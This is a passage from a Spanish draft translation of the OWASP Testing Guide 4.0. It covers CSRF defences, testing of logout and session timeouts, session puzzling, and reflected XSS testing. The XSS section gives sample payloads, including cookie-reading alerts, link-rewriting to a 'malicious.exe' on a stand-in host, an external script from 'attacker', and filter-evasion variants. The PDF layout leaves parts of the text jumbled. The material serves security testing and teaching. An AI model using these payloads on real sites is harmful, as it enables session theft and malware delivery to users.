Agregue información relacionada a la sesión a la URL. Lo que hace posible el ataque es el hecho de que la sesión es identificada como única por la cookie, que se envía automáticamente por el navegador. Tener otra información específica de la sesión que se genera a nivel de la URL dificulta al atacante conocer la estructura de las URL a atacar.
Referencias Libros Blancos • Peter W: “Cross-Site Request Forgeries”: tux.org • Thomas Schreiber: “Session Riding”: securenet.de • Oldest known post: zope.org • Cross-site Request Forgery FAQ: cgisecurity.com • A Most-Neglected Fact About Cross Site Request Forgery (CSRF): yehg.net
Remediación Las siguientes defensas se dividen entre las recomendaciones para los usuarios y para los desarrolladores.
Otras defensas, mientras no resuelvan el problema, contribuyen a hacer más difícil la explotación: • Usar solicitudes POST en vez de solicitudes GET. Puesto que las solicitudes POST se pueden simular mediante JavaScript, esto hace que sea más complejo montar un ataque. • Lo mismo sucede con páginas de confirmación intermedias (tales como: "¿está seguro que desea hacer esto?"). Estas pueden ser evitadas por un atacante, aunque harán su trabajo un poco más complejo. Por lo tanto, no dependa únicamente de estas medidas para proteger su aplicación. • Los mecanismos de cierre automático de sesión mitigan, de alguna manera, la exposición a estas vulnerabilidades, aunque en última instancia depende del contexto (un usuario que trabaja todo el dia en una aplicación web bancaria vulnerable tiene obviamente un mayor riesgo que un usuario que utiliza la misma aplicación ocasionalmente).
Actividades de seguridad relacionadas Usuarios Ya que las vulnerabilidades CSRF son, al parecer, generalizadas, se recomienda seguir las mejores prácticas para mitigar el riesgo. Algunas acciones de mitigación son: • Cierre la sesión inmediatamente después de usar una aplicación web. • No permita que el navegador guarde el nombre de usuario/contraseñas y no permita que los sitios web "recuerden" la información de registro.
Descripción de vulnerabilidades CSRF Vea el artículo de OWASP sobre vulnerabilidades CSRF.
Cómo evitar las vulnerabilidades CSRF Vea en la guía de desarrollo OWASP el artículo sobre cómo evitar las vulnerabilidades CSRF.
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 143
Guia de pruebas 4.0 "Borrador"
Cómo revisar el código de vulnerabilidades CSRF Vea la guía de revisión de código de OWASP sobre cómo Revisar las vulnerabilidades CSRF.
A los usuarios de navegadores web a menudo no les importa que una aplicación está todavía abierta y simplemente cierran el navegador o la pestaña. Una aplicación web debe considerar este comportamiento y terminar la sesión automáticamente del lado del servidor después de un tiempo definido.
Cómo prevenir vulnerabilidades CSRF Vea la Hoja de Prevención de Trampas CSRF de OWASP para ver medidas de prevención.
Pruebas de la funcionalidad del cierre de sesión (OTG-SESS-006)
El uso de un sistema de registro único (single sign-on ó SSO) en lugar de un esquema de autenticación de aplicaciones específicas, a menudo causa la coexistencia de múltiples sesiones que deben terminarse por separado. Por ejemplo, la terminación de la sesión de la aplicación específica no termina la sesión en el sistema SSO.
Resumen El cierre de sesión es una parte importante del ciclo de vida de la sesión. Reducir al mínimo la vida útil de las fichas de sesión disminuye la probabilidad de un ataque de secuestro de sesión exitoso. Esto puede verse como un control contra la prevención de otros ataques como el Cross Site Scripting (CSS) o Cross Site Request Forgery (CSRF). Se conoce que este tipo de ataques dependen de que un usuario tenga una sesión autenticada en ese momento. No tener una terminación de sesión segura sólo aumenta la superficie de ataque para cualquiera de estos ataques.
Navegar de vuelta hacia el portal SSO ofrece al usuario la posibilidad de volver a iniciar una sesión en la aplicación donde la sesión fue terminada poco antes. Por otro lado, una función de registro en un sistema SSO no necesariamente causa el cierre de sesión en las aplicaciones interconectadas.
Cómo probar
Una terminación de sesión segura requiere, por lo menos, de los siguientes componentes:
• La disponibilidad de controles de interfaz de usuario que permiten al usuario desconectarse manualmente.
Para probar la interfaz de cierre de sesión del usuario: Verifique el aspecto y la visibilidad de la funcionalidad de la interfaz de cierre de sesión del usuario. Para ello, vea cada página desde la perspectiva de un usuario que tiene la intención de cerrar la sesión de la aplicación web.
• La terminación de la sesión después de un período específico de tiempo sin actividad (tiempo de caducidad de sesión).
Resultado esperado:
• Una correcta anulación del estado de la sesión desde el servidor.
Existen algunas propiedades que indican una buena interfaz de cierre de sesión del usuario:
Hay múltiples cuestiones que pueden prevenir la terminación eficaz de una sesión. Para la seguridad ideal de la aplicación web, un usuario debe ser capaz de terminar en cualquier momento a través de la interfaz de usuario. Cada página debe contener un botón de cierre de sesión en un lugar directamente visible. Las funciones de cierre de sesión confusas o ambiguas podrían causar desconfianza en el usuario sobre dicha funcionalidad. Otro error común en la terminación de la sesión es que en la ficha de sesión del cliente se establece un nuevo valor, mientras que en el estado del servidor permanece activa y puede ser reutilizada restableciendo la cookie de sesión al valor anterior. A veces sólo se muestra un mensaje de confirmación al usuario sin que tenga que realizar ninguna acción adicional. Esto debe evitarse.
• Un botón de cierre de sesión está presente en todas las páginas de la aplicación web. • El botón de cierre de sesión debe ser rápidamente identificable por un usuario que quiere desconectarse de la aplicación web. • Después de cargar una página, el botón de cierre de sesión debe ser visible sin desplazamiento. • Idealmente, el botón de cierre de sesión debe ubicarse en una zona fija dentro de la pantalla visible del navegador y no debe verse afectada por el desplazamiento del contenido.
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 144
Guia de pruebas 4.0 "Borrador"
Para probar el cierre de sesión desde el servidor: Primeramente, almacene los valores de las cookies que se utilizan para identificar una sesión. Invoque la función de cierre de sesión del usuario y observe el comportamiento de la aplicación, especialmente en relación con las cookies de sesión. Intente navegar hacia una página que sólo es visible dentro de una sesión autenticada, por ejemplo, el uso del botón de regresar del navegador.
Si se muestra una versión en caché de la página, utilice el botón de actualizar para refrescar la página desde el servidor. Y si la función de cierre de sesión causa que las cookies se registren con un nuevo valor, restaure el valor antiguo de las cookies de sesión y cargue una página de la zona autenticada de la aplicación.
Si estas pruebas no muestran vulnerabilidades en alguna página en particular, pruebe al menos algunas páginas más de la aplicación que se consideran críticas para la seguridad, para garantizar que la terminación de la sesión es reconocida correctamente por estas áreas de la aplicación.
El valor apropiado para el tiempo de caducidad de la sesión depende del propósito de la aplicación y debe ser un equilibrio entre seguridad y usabilidad. En las aplicaciones bancarias, no tiene sentido mantener una sesión inactiva más de quince minutos. Por otro lado, un tiempo corto de espera en un wiki o un foro podría molestar a los usuarios que están escribiendo artículos largos con solicitudes de registro innecesarias. Allí, los tiempos de espera de una hora o más pueden ser aceptables.
Para probar el cierre de sesión en entornos de inicio de sesión únicos (single sign-off): Realice un cierre de sesión de la aplicación que está probando. Verifique si hay un portal central o un directorio de la aplicación que le permita al usuario reiniciar una sesión en la aplicación sin autenticación.
Compruebe si la aplicación solicita al usuario su autenticación; si solicita una dirección URL de un punto de entrada a la aplicación. Habiendo iniciado una sesión en la aplicación probada, realice un cierre de sesión en el sistema SSO. Intente acceder a un área autenticada de la aplicación probada.
Resultado esperado: Resultado esperado: Ningún dato que debería ser visible únicamente por usuarios autenticados debe ser visibles en las páginas examinadas al realizar las pruebas. Idealmente, la aplicación debe redirigirse a una zona pública o a un formulario de registro al acceder a áreas autenticadas después del cierre de la sesión. No debería ser necesario para la seguridad de la aplicación, pero establecer nuevos valores para las cookies de sesión después de desconectarse es considerado como una buena práctica.
Se espera que la invocación de una función de cierre de sesión en una aplicación web conectada a un sistema SSO, o en el mismo sistema SSO, cause el cierre global de todas las sesiones. Una autenticación del usuario debería ser necesaria para acceder a la aplicación después del cierre de la sesión en el sistema SSO y la aplicación conectada.
Herramientas Pruebas de tiempo de caducidad de sesión: • “Burp Suite - Repeater”: portswigger.net Determine un tiempo de caducidad de sesión realizando solicitudes a una página en el área de autenticación de la aplicación web con incremento de los intervalos de tiempo. Si aparece un comportamiento de cierre de sesión, el intervalo de tiempo usado coincide aproximadamente con el valor del tiempo de caducidad de la sesión.
Referencias Libros Blancos
Resultado esperado: Un cierre de sesión causado por inactividad dentro de un tiempo de caducidad debe tener los mismos resultados descritos anteriormente para la prueba de terminación de sesión de servidor.
• “The FormsAuthentication.SignOut method does not prevent cookie reply attacks in ASP.NET applications”: support.microsoft.com • “Cookie replay attacks in ASP.NET when using forms authentication”: vanstechelman.eu
Pruebas del tiempo de cierre de sesión (OTG-SESS-007)
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 145
Guia de pruebas 4.0 "Borrador"
Resumen En esta fase, los evaluadores comprueban que la aplicación cierra automáticamente la sesión cuando un usuario ha permanecido inactivo durante un cierto periodo de tiempo, asegurando que no se pueda "reutilizar" la misma sesión y que ningún dato sensible permanezca almacenado en la caché del navegador.
Todas las aplicaciones deben implementar un tiempo de cierre de sesión por inactividad. Este tiempo de cierre define el período que una sesión se mantendrá activa en caso de que no haya actividad por parte del usuario., Cierre e invalide la sesión una vez excedido el período de inactividad definida desde la última petición HTTP recibida por la aplicación web para un determinado identificador de sesión. El tiempo de cierre más adecuado debe ser un equilibrio entre la seguridad (menor tiempo de espera) y usabilidad (mayor tiempo de espera), y mucho depende del nivel de sensibilidad de los datos manejados por la aplicación.
Por ejemplo, un tiempo de cierre de sesión de 60 minutos para un foro público puede ser aceptable, pero tanto tiempo sería demasiado en una aplicación de banca en casa (donde se recomienda un tiempo máximo de cierre de quince minutos). En todo caso, cualquier aplicación que no impone un cierre de sesión basado en el tiempo de espera debe considerarse insegura, a menos que tal comportamiento sea exigido por un requisito funcional específico.
El tiempo de inactividad limita la ventana de oportunidad que un atacante tiene para adivinar y usar un identificador de otro usuario. Bajo ciertas circunstancias podría proteger a las computadoras públicas para que reutilicen una sesión válida. Sin embargo, si el atacante es capaz de secuestrar una sesión determinada, el tiempo de inactividad no limita las acciones del atacante, ya que puede generar periódicamente actividad dentro de la sesión para mantenerla activa por períodos de tiempo más largos.
La gestión de la caducidad y administración de tiempo de cierre de sesión debe ser realizada obligatoriamente desde el lado del servidor si algunos datos que se encuentran en control del cliente se utilizan para hacer cumplir el tiempo de cierre de sesión. Por ejemplo, usando valores de cookies u otros parámetros del cliente para hacer el seguimiento de las referencias de tiempo (p. ej. el número de minutos desde la hora de registro), un atacante podría manipular estos para extender la duración de la sesión.
Como resultado, la aplicación tiene que medir el tiempo de inactividad en el servidor y, una vez transcurrido el lapso de espera, automáticamente
invalida la sesión del usuario actual y borra todos los datos almacenados en el cliente.
Ambas acciones deben implementarse cuidadosamente, con el fin de evitar introducir debilidades que podrían ser aprovechadas por un atacante para obtener acceso no autorizado si el usuario olvidó cerrar la sesión desde la aplicación. Más específicamente, en cuanto a la función de cierre de sesión, es importante asegurarse de que todas las fichas de sesión (por ejemplo las cookies) sean destruidas o queden inservibles, y que se apliquen controles adecuados desde el lado del servidor para evitar la reutilización de las fichas de sesión. Si estas acciones no se llevan a cabo correctamente, un atacante podría reproducir estas fichas de sesión para "resucitar" la sesión de un usuario legítimo y hacerse pasar por él o ella (este ataque es generalmente conocido como 'cookie replay'). Por supuesto, un factor atenuante es que el atacante debe ser capaz de acceder a las fichas (que se almacenan en el navegador de la víctima), pero, en varios casos, esto puede no ser particularmente difícil o imposible.
El escenario más común para este tipo de ataque es un equipo público que sirve para acceder a información privada (por ejemplo, correo web, cuenta bancaria en línea). Si el usuario se aleja de la computadora sin cerrar explicitamente la sesión y el tiempo de cierre de sesión no está implementado en la aplicación, entonces un atacante podría acceder a la misma cuenta simplemente pulsando el botón "atrás" del navegador.
Cómo probar Prueba de Caja Negra Puede aplicarse el mismo enfoque de la sección de pruebas de funcionalidad de cierre de sesión (OTG-SESS-006) al medir el tiempo de cierre de sesión. La metodología de prueba es muy similar. En primer lugar, los evaluadores tienen que comprobar si existe un tiempo de cierre, por ejemplo, iniciando una sesión y esperando a que el cierre sesión se active. Como en la función de cierre de sesión, después de transcurrido el tiempo de espera, todas las fichas de sesión deben ser destruidas o quedar inutilizables.
Entonces, si se configura el tiempo de cierre, los evaluadores necesitan entender si el tiempo de cierre lo establece el cliente o el servidor (o ambos). Si la cookie de sesión es no-persistente (o, de manera más general, la cookie no guarda ninguna información sobre el tiempo), los evaluadores pueden asumir que el tiempo de cierre se ejecuta en el servidor.
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 146
Guia de pruebas 4.0 "Borrador"
Si la cookie contiene algún dato relacionado con el tiempo (por ejemplo, la hora de registro, o la última hora de acceso o la fecha de caducidad de una cookie persistente), entonces es posible que el cliente tenga una participación en el tiempo de cierre. En este caso, los evaluadores podrían tratar de modificar la cookie (si no está criptograficamente protegida) y ver qué pasa con la sesión. Por ejemplo, los evaluadores pueden establecer la fecha de caducidad de la cookie en un futuro lejano y ver si se puede prolongar el período de sesiones.
Pruebas del Session puzzling (OTG-SESS-008)
Como regla general, debe comprobarse todo del lado del servidor y no debe ser posible, mediante la reconfiguración de las cookies de sesión a los valores anteriores, acceder a la aplicación otra vez.
• Esquivar los mecanismos de autenticación de la aplicación y hacerse pasar por usuarios legítimos.
Pruebas de Caja Gris El evaluador debe verificar que:
Resumen La sobrecarga de variables de sesión (también conocida como Session Puzzling) es una vulnerabilidad al nivel de la aplicación que permite a un atacante realizar una variedad de acciones maliciosas que incluyen, pero no se limitan a:
• Elevar los privilegios de una cuenta de usuario maliciosa, en un entorno que, de lo contrario, sería considerado infalible. • Saltarse las fases de calificación en los procesos de fases múltiples, incluso si el proceso incluye todas las restricciones a nivel de código comúnmente recomendadas. • Manipular los valores del lado del servidor de forma indirecta para que no puedan ser predichos o detectados.
• La función de cierre de sesión destruye eficazmente todas las fichas de sesión, o por lo menos las inhabilita. • El servidor realiza los controles adecuados en el estado de la sesión, impidiendo al atacante reproducir identificadores de sesión previamente destruidos. • El tiempo de cierre es establecido correctamente por el servidor. Si el servidor utiliza un tiempo de expiración que se lee de una ficha de sesión que es enviada por el cliente (aunque esto no es recomendable), entonces la ficha debe estar criptográficamente protegida contra la manipulación.
Tome en cuenta que lo más importante es que la aplicación invalide la sesión en el servidor. Generalmente esto significa que el código debe invocar los métodos apropiados, por ejemplo, HttpSession.invalidate() en Java y Session.abandon() en .NET.
Borrar las cookies en el navegador es recomendable, pero no es estrictamente necesario, ya que si bien se invalida la sesión en el servidor, tener la cookie en el navegador no ayudará a un atacante.
Referencias Recursos OWASP • Session Management Cheat Sheet
• Ejecutar ataques tradicionales en lugares previamente inaccesibles, o incluso que se consideran seguros.
Esta vulnerabilidad se produce cuando una aplicación utiliza la misma variable de sesión para más de un propósito. Potencialmente un atacante puede acceder a páginas en un orden no previsible por parte de los desarrolladores para que la variable de sesión se configure en un contexto y luego se utilice en otro.
Por ejemplo, un atacante puede utilizar la sobrecarga de variables de sesión para eludir los mecanismos de autenticación de la aplicación, que garantizan la autenticación mediante la validación de la existencia de variables de sesión que contengan valores relacionados con la identidad, que normalmente se almacenan en la sesión después de un proceso de autenticación exitoso. Esto significa que, primero, un atacante tiene acceso a una ubicación en la aplicación que establece el contexto de la sesión y, luego, accede a lugares privilegiados que examinan este contexto.
Por ejemplo, un vector de ataque de evasión de autenticación podría ser ejecutado mediante el ingreso a un punto de entrada de acceso público (por ejemplo, una página de recuperación de contraseña) que rellena la sesión con una variable de sesión idéntica, basada en valores fijos o en información ingresada por un usuario.
Cómo probar
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 147
Guia de pruebas 4.0 "Borrador"
Prueba de Caja Negra Esta vulnerabilidad puede ser detectada y explotada enumerando todas las variables de sesión que utiliza la aplicación y elcontexto en el que son válidas. En particular, esto es posible accediendo a una secuencia de puntos de entrada y luego examinando los puntos de salida. En el caso de las pruebas de caja negra, este procedimiento es difícil y requiere algo de suerte ya que cada secuencia diferente podría llevar a un resultado diferente.
Ejemplos Un ejemplo muy simple podría ser la funcionalidad de restablecimiento de contraseña que, en el punto de entrada, puede solicitar al usuario que proporcione cierta información de identificación que podría ser el nombre del usuario o la dirección de correo electrónico. Esta página podría rellenar, entonces, la sesión con estos valores de identificación que son recibidos directamente del lado del cliente u obtenidos de consultas o cálculos basados en la información de entrada recibida. En este punto pueden haber algunas páginas en la aplicación donde se muestran datos privados basados en este objeto de sesión. De esta manera el atacante podría eludir el proceso de autenticación.
Pruebas de Caja Gris La forma más efectiva para detectar estas vulnerabilidades es a través de una revisión del código fuente.
Referencias Libros Blancos • Session Puzzles: puzzlemall.googlecode.com
scripting, inyección SQL, inyección de intérprete, ataques ataques locale/Unicode, ataques al sistema de archivo y desbordamiento de búfer.
Nunca se debe confiar en los datos de una entidad externa o del cliente, ya que pueden ser arbitrariamente adulterados por un atacante. "Todas las entradas son malignas", dice Michael Howard en su famoso libro "Writing Secure Code" (Escribiendo Código Seguro). Esta es la regla número uno. Lamentablemente, las aplicaciones más complejas a menudo tienen un gran número de puntos de entrada, lo que hace difícil para que un desarrollador haga cumplir esta regla. Este capítulo describe las pruebas de validación de datos. Esta es la tarea de probar todas las formas posibles de entrada para comprender si la aplicación valida lo suficiente el ingreso de datos antes de usarlos.
Pruebas de la reflexión del Cross site scripting (OTG-INPVAL-001) Resumen La reflexión del Cross-site Scripting (XSS) ocurre cuando un atacante inyecta un código ejecutable en el navegador, dentro de una sola respuesta HTTP. El ataque inyectado no se almacena dentro de la aplicación, es no-persistente y sólo afecta a los usuarios que abren una página web de terceros o un vínculo diseñado con mala intención. La cadena de ataque se incluye como parte del diseño de los parámetros URL o HTTP, que se procesan incorrectamente por la aplicación y se devuelven a la víctima.
Las reflexiones de XSS son los tipos de ataque XSS más frecuentes encontrados en la naturaleza. Los ataques de reflexión XSS también son conocidos como ataques XSS no persistentes y, puesto que la carga de ataque es entregada y ejecutada mediante una sola solicitud y respuesta, también se les conoce como XSS de primer orden o tipo 1.
• Session Puzzling and Session Race Conditions: sectooladdict.blogspot.com
Remediación Las variables de sesión deben ser utilizadas con una sola finalidad.
Pruebas de validación de entradas La debilidad de seguridad de las aplicaciones web más común es el no poder validar correctamente los datos de entrada que vienen del cliente o del medio ambiente antes de usarlo. Esta debilidad conduce a casi todas las vulnerabilidades principales en aplicaciones web, tales como cross site
Cuando una aplicación web es vulnerable a este tipo de ataques, esta pasará datos de entrada no validados mediante solicitudes al cliente. El modus operandi común del ataque incluye un paso de diseño, en el que el atacante crea y prueba una URI ofensiva; un paso de ingeniería social, en el cual ella convence a sus víctimas para que carguen esta URI en sus navegadores y la eventual ejecución del código ofensivo utilizando el navegador de la víctima.
Comúnmente, el código del intruso es escrito en el lenguaje Javascript, pero también se utilizan otros lenguajes, por ejemplo, ActionScript y VBScript. Los atacantes suelen aprovechar estas vulnerabilidades para instalar registradores de claves, robar las cookies de la víctima, realizar robos del portapapeles y cambiar el contenido de la página (por ejemplo, enlaces de descarga).
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 148
Guia de pruebas 4.0 "Borrador"
Una de las principales dificultades en la prevención de vulnerabilidades XSS es la correcta codificación de caracteres. En algunos casos, el servidor web o la aplicación web podrían no estar filtrando algunas codificaciones de caracteres; así que, por ejemplo, la aplicación web puede filtrar y sacar "<script>", pero podría no filtrar %3cscript%3e que simplemente incluye otra codificación de etiquetas.
[3] Para cada prueba de entrada intentada en la fase anterior, el evaluador analiza el resultado y determina si representa una vulnerabilidad que tiene un impacto realista en materia de seguridad de la aplicación web. Esto requiere examinar la HTML de la página web resultante, en busca de la información de entrada para la prueba. Una vez encontrada, el evaluador identifica los caracteres especiales que no fueron codificados correctamente, reemplazados o filtrados. El conjunto de caracteres especiales vulnerables sin filtrar dependerán del contexto de esa sección de HTML.
Cómo probar Prueba de Caja Negra
Idealmente, todos los caracteres especiales de HTML se reemplazarán con entidades HTML. Las entidades HTML claves para identificar son:
Una prueba de caja negra incluye al menos tres fases: > (greater than) < (less than) [1] Detecte vectores de entrada. Para cada página web, el evaluador debe determinar todas las variables definidas por el usuario y cómo ingresarlas. Esto incluye entradas ocultas o no evidentes como parámetros HTTP, datos POST, valores de formulario de campo oculto y valores predefinidos de radio o de selección. Por lo general, los editores del navegador para HTML o los proxys web que se utilizan para ver estas variables ocultas. Vea el ejemplo a continuación.
[2] Analice cada vector de entrada para detectar posibles vulnerabilidades. Para la detección de una vulnerabilidad XSS, el evaluador suele utilizar datos de entrada especialmente diseñados con cada vector de entrada. Estos datos de entrada son normalmente inofensivos, pero desencadenan respuestas desde el navegador web que manifiesta su vulnerabilidad. Los datos para pruebas pueden generarse utilizando un distorsionador de aplicaciones web, una lista automatizada predefinida de cadenas de ataque conocidas o manualmente.
& (ampersand) ‘ (apostrophe or single quote)
“ (double quote)
Sin embargo, una lista completa de entidades está definida por las especificaciones de HTML y XML. Wikipedia tiene una referencia completa [1].
En el framework de una acción de HTML o código JavaScript, un conjunto diferente de caracteres especiales se necesitarán para escapar, codificar, reemplazar o filtrar. Estos caracteres incluyen:
\n (new line) Algunos ejemplos de esta información de entrada son:
\r (carriage return) \’ (apostrophe or single quote)
<script>alert(123)</script> \” (double quote)
\\ (backslash) “><script>alert(document.cookie)</script>
\uXXXX (unicode values)
Para una referencia más completa, consulte a la guía JavaScript de Mozilla. [2] Para tener una lista completa de posibles cadenas de prueba, vea el archivo XSS Filter Evasion Cheat Sheet.
Ejemplo 1
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 149
Guia de pruebas 4.0 "Borrador"
Por ejemplo, consideremos un sitio que tiene un anuncio de bienvenida "Bienvenido %username%" y un enlace de descarga.
http://example.com/index.php?user=<script>window.onload function() {var AllLinks=document.getElementsByTagName(“a”);
=
AllLinks[0].href = “http://badexample.com/malicious.exe”; }</script>
Esto produce el siguiente comportamiento: El evaluador debe sospechar que cada punto de entrada de datos puede resultar en un ataque XSS. Para analizarlo, el evaluador jugará con las variables del usuario y tratará de activar la vulnerabilidad. Intente hacer clic en el siguiente enlace y vea qué pasa.
http://example.com/index.php?user=<script>alert(123)</script>
Si no se aplica una desinfección, esto resultará en la siguiente ventana emergente: Esto hará que el usuario, haciendo clic en el enlace suministrado por el evaluador, pueda descargar el archivo malicious.exe desde un sitio controlado por el evaluador.
Eludir filtros XSS
Esto indica que existe una vulnerabilidad XSS y parece que el evaluador puede ejecutar el código de su elección en cualquier navegador si éste hace clic en el enlace del evaluador.
Los ataques de reflexión del Cross-site Scripting se previenen mientras la aplicación web desinfecta la entrada de datos; una aplicación web de firewall bloquea la entrada maliciosa, o mediante mecanismos integrados en navegadores web modernos. El evaluador debe probar las vulnerabilidades asumiendo que los navegadores web no impedirán el ataque. Los navegadores pueden estar desactualizados o con sus características de seguridad incorporadas deshabilitadas. Del mismo modo, los firewalls de la aplicación web no garantizan poder reconocer ataques nuevos y desconocidos. Un atacante podría crear una cadena de ataque que es desconocida por la aplicación web del firewall.
Ejemplo 2 Pruebe otra pieza de código (enlace)
La mayor parte de la prevención XSS depende de la desinfección de la aplicación web de datos no confiables del usuario. Hay varios mecanismos disponibles para que los desarrollaldores realicen la desinfección, como devolver un error, quitar, codificar, sustituir datos de entrada no válida. El modo por el cual la aplicación detecta y corrige la entrada inválida es otra debilidad principal en la prevención de XSS. Una
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 150
Guia de pruebas 4.0 "Borrador"
lista negra podría no incluir todas las cadenas de ataque posibles, una lista blanca puede ser excesivamente permisiva, la desinfección puede fallar o un tipo de entrada puede calificarse incorrectamente como confiable y mantenerse sin desinfección. Todo esto permite a los atacantes burlar los filtros XSS.
“><script >alert(document.cookie)</script >
“><script >alert(document.cookie)</script > Los apuntes de repaso de evasión de filtros XSS comúnmente filtran las pruebas de evasión. “%3cscript%3ealert(document.cookie)%3c/script%3e
Ejemplo 3: Etiquete el valor del atributo Ya que estos filtros se basan en una lista negra, no pueden bloquear todos los tipos de expresiones. De hecho, hay casos en que una explotación XSS puede llevarse a cabo sin el uso de etiquetas <script> e incluso sin el uso de caracteres tales como "< > y / que comúnmente se filtran.
Por ejemplo, la aplicación web puede utilizar el valor ingresado por el usuario para llenar un atributo, como se muestra en el siguiente código:
Ejemplo 5: Para evitar la filtración no-recurrente A veces la desinfección se aplica sólo una vez y no se realiza de forma recurrente. En este caso, el atacante puede vencer al filtro mediante el envío de una cadena que contiene múltiples intentos, como esta:
<scr<script>ipt>alert(document.cookie)</script> <input type=”text” name=”state” value=”INPUT_FROM_USER”>
Ejemplo 6: Para incluir scripts externos Entonces el atacante puede enviar el siguiente código:
Ahora suponga que los desarrolladores del sitio objetivo implementaron el siguiente código para proteger la entrada de la inclusión de script externo:
“ onfocus=”alert(document.cookie) <? $re = “/<script[^>]+src/i”;
Ejemplo 4: Diferente sintaxis o codificación
if (preg_match($re, $_GET[‘var’]))
En algunos casos, es posible que los filtros basados en la firma pueden ser simplemente derrotados ofuscando el ataque. Por lo general, usted puede hacer esto mediante la introducción de variaciones inesperadas en la sintaxis o en la codificación. Estas variaciones se toleran por parte de los navegadores como HTML, válidos cuando se devuelve el código y, sin embargo, también podrían ser aceptadas por el filtro.
{ echo “Filtered”; return; } echo “Welcome “.$_GET[‘var’].” !”;
A continuación algunos ejemplos:
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 151
Guia de pruebas 4.0 "Borrador"
En este escenario hay una expresión regular que verifica si<script [cualquier cosa menos el carácter: ‘>’ ] src se ha insertado. Esto es útil para filtrar expresiones como:
http://example/page.php?param=<script&param=>[...]</&param=scri pt>
<script src=”http://attacker/xss.js”></script>
Resultado esperado que es un ataque común. Pero, en este caso, es posible eludir la desinfección usando el carácter ">" con un atributo entre script y src como este:
http://example/?var=<SCRIPT%20a=”>”%20SRC=”http://attacker/xss .js”></SCRIPT>
Vea los apuntes de repaso de evasión de filtros XSS para obtener una lista más detallada de las técnicas de evasión de filtros. Por último, analizar las respuestas puede ser complejo. Una manera simple de hacer esto es usar un código que lance un cuadro de diálogo, como en nuestro ejemplo. Esto normalmente indica que un atacante podría ejecutar un código JavaScript arbitrario de su elección en los navegadores de los visitantes.
Pruebas de Caja Gris Esto explotará la vulnerabilidad de reflexión del Cross-site Scripting mostrada anteriormente, ejecutando el código JavaScript almacenado en el servidor web del atacante como si se originara desde el sitio web de la víctima, http://example/.
Ejemplo 7: Contaminación del Parámetro HTTP (HTTP Parameter Pollution (HPP)) Otro método para eludir los filtros es la contaminación del parámetro HTTP. Esta técnica fue introducida por Stefano di Paola y Luca Carettoni en el 2009, durante la Conferencia OWASP en Polonia. Vea la "prueba de contaminación del parámetro HTTP" para obtener más información. Esta técnica de evasión consiste en dividir un vector de ataque entre los múltiples parámetros que tengan el mismo nombre. La manipulación del valor de cada parámetro depende de cómo cada tecnología web analiza estos parámetros, por lo que este tipo de evasión no siempre es posible. Si el ambiente de prueba concatena los valores de todos los parámetros con el mismo nombre, entonces el atacante podría utilizar esta técnica para evitar los mecanismos de seguridad basados en el patrón.
Las pruebas de Caja Gris son similares a las pruebas de Caja Negra. En las pruebas de Caja Gris, el evaluador de edición tiene un conocimiento parcial de la aplicación. En este caso, la información relativa a la entrada del usuario, los controles de validación de entrada y cómo se devuelve la información ingresada por el usuario al mismo usuario, podrían ser conocidos por el evaluador de edición. Si el código fuente está disponible (Caja Blanca), deben analizarse todas las variables recibidas de los usuarios. Además, el evaluador debe analizar los procedimientos de desinfección implementados para decidir si estos pueden ser eludidos.
Herramientas • OWASP CAL9000 CAL9000 es una colección de herramientas de prueba de seguridad en aplicaciones web, que complementa el conjunto actual de proxys web y escáneres automatizados. Se presenta como una referencia en: sec101.sourceforge.net
Ataque normal: • PHP Charset Encoder(PCE): http://example/page.php?param=<script>[...]</script>
yehg.net Esta herramienta le permite codificar textos arbitrarios desde y hacia 65 clases de conjuntos de caracteres. Además, se proporcionan algunas funciones de codificación destacadas de JavaScript.
Ataque usando HPP:
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 152
Guia de pruebas 4.0 "Borrador"
• HackVertor: businessinfo.co.uk Ofrece varias docenas de codificaciones flexibles para ataques de manipulación de cadena avanzada.
• WebScarab: WebScarab es un framework para analizar las aplicaciones que se comunican mediante los protocolos HTTP y HTTPS: owasp.org
• XSS-Proxy: xss-proxy.sourceforge.net XSS-Proxy es una herramienta avanzada de Cross-Site-Scripting (XSS).
(XSS). Ofrece resultados de análisis de cero falsos positivos con su triple motor de navegación único (Trident, WebKit y Gecko) escáner incrustados. Se afirma que tiene la segunda carga de XSS más grande del mundo, de aproximadamente 1600+ XSS cargas útiles distintivas para la detección eficaz de vulnerabilidades XSS y desvios WAF. El motor de Scripting de Xenotix le permite crear casos de prueba personalizados y add-ons en la API de Xenotix. Tiene incorporado un módulo de recolección de información abundante para reconocimiento de objetivos. El framework de explotación incluye módulos de explotación de ofensiva XSS para la creación de pruebas de penetración y prueba de creación de concepto.
Referencias Recursos OWASP • XSS Filter Evasion Cheat Sheet
• ratproxy: code.google.com Es una herramienta de seguridad y auditoría semiautomática, en gran parte pasiva, de aplicaciones web optimizadas que sirven para una detección precisa y sensible y para realizar una anotación automática de posibles problemas y patrones de diseño relevantes a la seguridad, basados en la observación del tráfico existente, iniciado por el usuario en entornos web 2.0 complejos.
• Burp Proxy - portswigger.net Burp Proxy es un servidor proxy HTTP/S interactivo que sirve para atacar o probar aplicaciones web.
• OWASP Zed Attack Proxy (ZAP): OWASP_Zed_Attack_Proxy_Project ZAP es una herramienta de penetración integrada, fácil de usar para encontrar vulnerabilidades en aplicaciones web. Está diseñada para ser utilizada por personas con un amplio espectro de experiencia en seguridad y por eso es ideal para desarrolladores y evaluadores funcionales que son novatos realizando pruebas de penetración. ZAP ofrece escáneres automatizados, así como un conjunto de herramientas que permiten encontrar las vulnerabilidades de seguridad manualmente.
Libros • Joel Scambray, Mike Shema, Caleb Sima - “Hacking Exposed Web Applications”, Second Edition, McGraw-Hill, 2006 - ISBN 0-07-226229-0 • Dafydd Stuttard, Marcus Pinto - “The Web Application’s Handbook Discovering and Exploiting Security Flaws”, 2008, Wiley, ISBN 978-0-47017077-9 • Jeremiah Grossman, Robert “RSnake” Hansen, Petko “pdp” D. Petkov, Anton Rager, Seth Fogie - “Cross Site Scripting Attacks: XSS Exploits and Defense”, 2007, Syngress, ISBN-10: 1-59749-154-3
